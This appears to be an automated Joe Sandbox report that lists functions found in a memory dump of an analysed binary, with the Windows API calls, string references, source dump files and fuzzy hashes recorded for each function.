Function 003757D7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003757E7
InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 0037581D

Strings

|, xrefs: 0037580C
?K7, xrefs: 00375885

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CrackInternet_memset
String ID: ?K7$|
API String ID: 1413715105-540616914
Opcode ID: 3e6d5c83ec0e5cd8fef205ce23bb4c68e9ca9eebf65c0910b22576c19a32798f
Instruction ID: 7541de09d629a3d31f449163c499adc9f5e00f48dd0829f209831a9723bfed9f
Opcode Fuzzy Hash: 3e6d5c83ec0e5cd8fef205ce23bb4c68e9ca9eebf65c0910b22576c19a32798f
Instruction Fuzzy Hash: 39313D71901219FBCF16AFA1DC55DEE7FB8FF18300F108019F815AA161DB359A56CBA0

Function 0038A698 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0038A74F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0038A75D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0038A764

Strings

msctls_updown32, xrefs: 0038A6C9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 205aeebd5a0f945c88e37d8b9898b65f826096dc1163f7b74091272234615016
Instruction ID: 7deb9d558464ed3c7a269b3a809ec762d4bcfcb08abf24f950871f6e240b009f
Opcode Fuzzy Hash: 205aeebd5a0f945c88e37d8b9898b65f826096dc1163f7b74091272234615016
Instruction Fuzzy Hash: A321B2B5600605AFEB12EF64CCC1EA737ACEB4A394F05015AF9019B2A1C770EC11DB61

Function 003897B2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0038983D
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 0038984D
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00389872

Strings

Listbox, xrefs: 0038980A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 790503f119fc73aadedf24778b784800dff1fb0bb8145ef7c81180b7908f5b65
Instruction ID: 7cfce20d17999b634706af6a2050b8575aac4d34205436357c12a92ae95d7d9f
Opcode Fuzzy Hash: 790503f119fc73aadedf24778b784800dff1fb0bb8145ef7c81180b7908f5b65
Instruction Fuzzy Hash: C221F632610218BFEF139F54CC85FBB3BAEEF8A754F068165F9059B1A0C6719C518BA0

Function 0035C39D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 0035C3BF
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0035C3D6
SendMessageW.USER32(?,0000000D,?,00000000), ref: 0035C40E

Strings

@U=u, xrefs: 0035C40E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 98c03277f3f449acf5eca6ded74a1552b441fa82f1155e5084e5da0df67a23c0
Instruction ID: 8db4acd68ef0011a13543c949d2f3916e38e3b8789edb917b5aff38835886f0c
Opcode Fuzzy Hash: 98c03277f3f449acf5eca6ded74a1552b441fa82f1155e5084e5da0df67a23c0
Instruction Fuzzy Hash: 0121CF72610218BFDB16DB99C882DAEB7BEEF44304F211456E805E7160D670AE048AA0

Function 00378D31 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000402,00000000,00000000), ref: 00378D80
SendMessageW.USER32(0000000C,00000000,?), ref: 00378DC1
SendMessageW.USER32(0000000C,00000000,?), ref: 00378DE9

Strings

@U=u, xrefs: 00378D80, 00378DC1, 00378DE9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 3feede90baa96e8cea0ead5470dcf6e6ec971245ac380ad2bf70dc11bcc2d56c
Instruction ID: 23ce029a15110725057a57b369b19ae7721f68a84acab9e2ef851584df54d9db
Opcode Fuzzy Hash: 3feede90baa96e8cea0ead5470dcf6e6ec971245ac380ad2bf70dc11bcc2d56c
Instruction Fuzzy Hash: 04213675210511EFD722EB14ED89D6ABBE9FF49310B418551E9099F6B1CB30FC50CB90

Function 0038A217 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0038A27B
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 0038A290
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0038A29D

Strings

msctls_trackbar32, xrefs: 0038A252

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 174224110211c8020850c1588b559aefc16a499991b15cf621fd868bbb07f2e0
Instruction ID: db74965e67e7ea05a63df73e92cb68b075d67ea8e3bf02338008463f297cae84
Opcode Fuzzy Hash: 174224110211c8020850c1588b559aefc16a499991b15cf621fd868bbb07f2e0
Instruction Fuzzy Hash: 6711E371204708BBEB266F65CC46FA73BADEF89B54F024619FA45A60D0D272A851CB60

Function 00389424 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 003894A6
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 003894B5

Strings

@U=u, xrefs: 003894B5
edit, xrefs: 0038948A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: @U=u$edit
API String ID: 2978978980-590756393
Opcode ID: 330154a96de9dff61994e82bbb3a89a1696061395179f169483007b8c74131bf
Instruction ID: abfbf9003d7da6d8c8c8fe1f20ba07f7e6fc93fab601b6decdae9a2650f24297
Opcode Fuzzy Hash: 330154a96de9dff61994e82bbb3a89a1696061395179f169483007b8c74131bf
Instruction Fuzzy Hash: B811B871100208AFEB12AEA59C80BFB3B6EEB05378F254765F965971E0C2319C529B60

Function 0035C577 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 0035C5E5

Strings

ListBox, xrefs: 0035C5AF
@U=u, xrefs: 0035C5E5
ComboBox, xrefs: 0035C581

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 1456604079-2258501812
Opcode ID: 266dec85252288a8489515c31b6c0db33456653b525b7a9bc5f834700dd9ae9f
Instruction ID: eaba50f94ecfc6a95ef8cd3a9d5984aaedee2ec9e2ef7b2bc23e6ae651f8ae8e
Opcode Fuzzy Hash: 266dec85252288a8489515c31b6c0db33456653b525b7a9bc5f834700dd9ae9f
Instruction Fuzzy Hash: A801B9716112246FC70AEB94DC51CFE736DAF423117141A15F823A72E1EE34590C9750

Function 0035C473 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,00000180,00000000,?), ref: 0035C4E1

Strings

ListBox, xrefs: 0035C4AB
@U=u, xrefs: 0035C4E1
ComboBox, xrefs: 0035C47D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 1456604079-2258501812
Opcode ID: afcc5468063a28e32a67a25152cf5c84f21b826823e461e93298fda07d594454
Instruction ID: d9fd1982753b41b818885034ec136ff07831f1854a187e91c52fb2b8b21f9894
Opcode Fuzzy Hash: afcc5468063a28e32a67a25152cf5c84f21b826823e461e93298fda07d594454
Instruction Fuzzy Hash: 4301A2B1A512186FCB0BEBA4D962EFF73AD9F15301F141025F903E72E1EA545F0C96A1

Function 0035C4F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,00000182,?,00000000), ref: 0035C562

Strings

ListBox, xrefs: 0035C52E
@U=u, xrefs: 0035C562
ComboBox, xrefs: 0035C500

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 1456604079-2258501812
Opcode ID: 2809ba25172549b511c511850d395a8ecdc451dc77312b4d98a48cec6e3a5c1d
Instruction ID: 2ae7047f84c2a1386dbbf00539cc126830c4a653e5727c578088241d5baf69d2
Opcode Fuzzy Hash: 2809ba25172549b511c511850d395a8ecdc451dc77312b4d98a48cec6e3a5c1d
Instruction Fuzzy Hash: FE012671A112186BCB07EBA4D902EFF33AC9F12702F141425F803F72E1EA249F0C92A1

Function 0038D784 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,003E1810,00390327,000000FC,?,00000000,00000000,?,?,?,0039F381,?,?,?,?,?), ref: 0038D786
GetFocus.USER32 ref: 0038D78E

Part of subcall function 0033AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0033AF8E

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

SendMessageW.USER32(?,000000B0,000001BC,000001C0), ref: 0038D800

Strings

@U=u, xrefs: 0038D800

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Long$FocusForegroundMessageSend
String ID: @U=u
API String ID: 3601265619-2594219639
Opcode ID: 60b391a9bdb5a06b7ab6df7a2b058d9026000db996731d9bf2ab2e5f01a05466
Instruction ID: 0ac72580b74d7e9733ceb0e86eebf6667fb321cdf524474188ea2acbc3b8839d
Opcode Fuzzy Hash: 60b391a9bdb5a06b7ab6df7a2b058d9026000db996731d9bf2ab2e5f01a05466
Instruction Fuzzy Hash: 340175716006108FC726DF28EC85AA577EABF8A310F5903A9E4168B3F1DB31AC06CB50

Function 00321A85 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032193B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00321952

SendMessageW.USER32(?,0000000C,00000000,?), ref: 00321AA1
GetParent.USER32(?), ref: 00392528
InvalidateRect.USER32(00000000,?,00321A74,?,00000000,00000001), ref: 0039252F

Strings

@U=u, xrefs: 00321AA1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$InvalidateParentRectTimeout
String ID: @U=u
API String ID: 3648793173-2594219639
Opcode ID: 090546b8fd121670f2bfcbc8ffae455ba833f7e5b1e5ba95e1b570b0397bb2a4
Instruction ID: c38a985d6a3836e2d8c70a397ee1e71bb1795be2b53b3483ebc5481f172f20dd
Opcode Fuzzy Hash: 090546b8fd121670f2bfcbc8ffae455ba833f7e5b1e5ba95e1b570b0397bb2a4
Instruction Fuzzy Hash: 5CF0ED34114264FBEF332F60ED09FA67BACAF32340F114128F9829B4B0C6A29940AB50

Function 00342F5F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,?,?,00342F11,00000000), ref: 00342F79
GetProcAddress.KERNEL32(00000000), ref: 00342F80

Strings

combase.dll, xrefs: 00342F74
RoInitialize, xrefs: 00342F68

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: f1cf8b99529421c51d8b27430d6e304b682ca8e48923f1eb566b9acc2b07600a
Instruction ID: c887dcef1f9683d7635a61c17038620daac3f5ffba2068370a04a0bd1000bf07
Opcode Fuzzy Hash: f1cf8b99529421c51d8b27430d6e304b682ca8e48923f1eb566b9acc2b07600a
Instruction Fuzzy Hash: E8E01A74694340AADB635F70ED89B5536ACE701B06F424124F103ED4E0CBF96094DF08

Function 00343034 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00342F4E), ref: 0034304E
GetProcAddress.KERNEL32(00000000), ref: 00343055

Strings

combase.dll, xrefs: 00343049
RoUninitialize, xrefs: 0034303D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 00ca9805a1c988b7d14eb2016d5608201aa12a254a5c0ae5b9c51fb85ab07ae6
Instruction ID: 5dac5c2917ce3f0f9b57cc65078790e206f80b0304033c2e4e8e93d918450410
Opcode Fuzzy Hash: 00ca9805a1c988b7d14eb2016d5608201aa12a254a5c0ae5b9c51fb85ab07ae6
Instruction Fuzzy Hash: 24E09274645240ABDB375B61EE4DB453AADF705702F100618F10B9E4F0CBB495509B18

Function 0039BA51 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0039BA58
__swprintf.LIBCMT ref: 0039BA8C

Strings

%.3d, xrefs: 0039BA66
WIN_XPe, xrefs: 0039BACB

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: ecf33ab8a39d344f62e2160f7f7143e2af30ffbe899e5c98bdc5b02289bd13fb
Instruction ID: adc9f98ad7936575cf1971b130f239cffda9b168d7b24d148a303ce7e8a42456
Opcode Fuzzy Hash: ecf33ab8a39d344f62e2160f7f7143e2af30ffbe899e5c98bdc5b02289bd13fb
Instruction Fuzzy Hash: 3DE06271C1812DEBCF57DB90AE46AFAB3BCAB04300F5488D3B91691844D7359B54AB11

Function 003820F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,003820EC,?,0037F751), ref: 00382104
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00382116

Strings

kernel32.dll, xrefs: 003820FF
GetProcessId, xrefs: 00382110

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: bc6c784e8e443f34f17e8fc012e6e2d01902693b3b70b3d2fab199ec78b388db
Instruction ID: fdf1955558b331ead57b80c9e887021b2099c28b88067e56b40e0430e5dfbd2b
Opcode Fuzzy Hash: bc6c784e8e443f34f17e8fc012e6e2d01902693b3b70b3d2fab199ec78b388db
Instruction Fuzzy Hash: 1DD0A9755103128FD7237FA1F80D6833BE8AB05300F21546AE68BD2698DBB0C880CB60

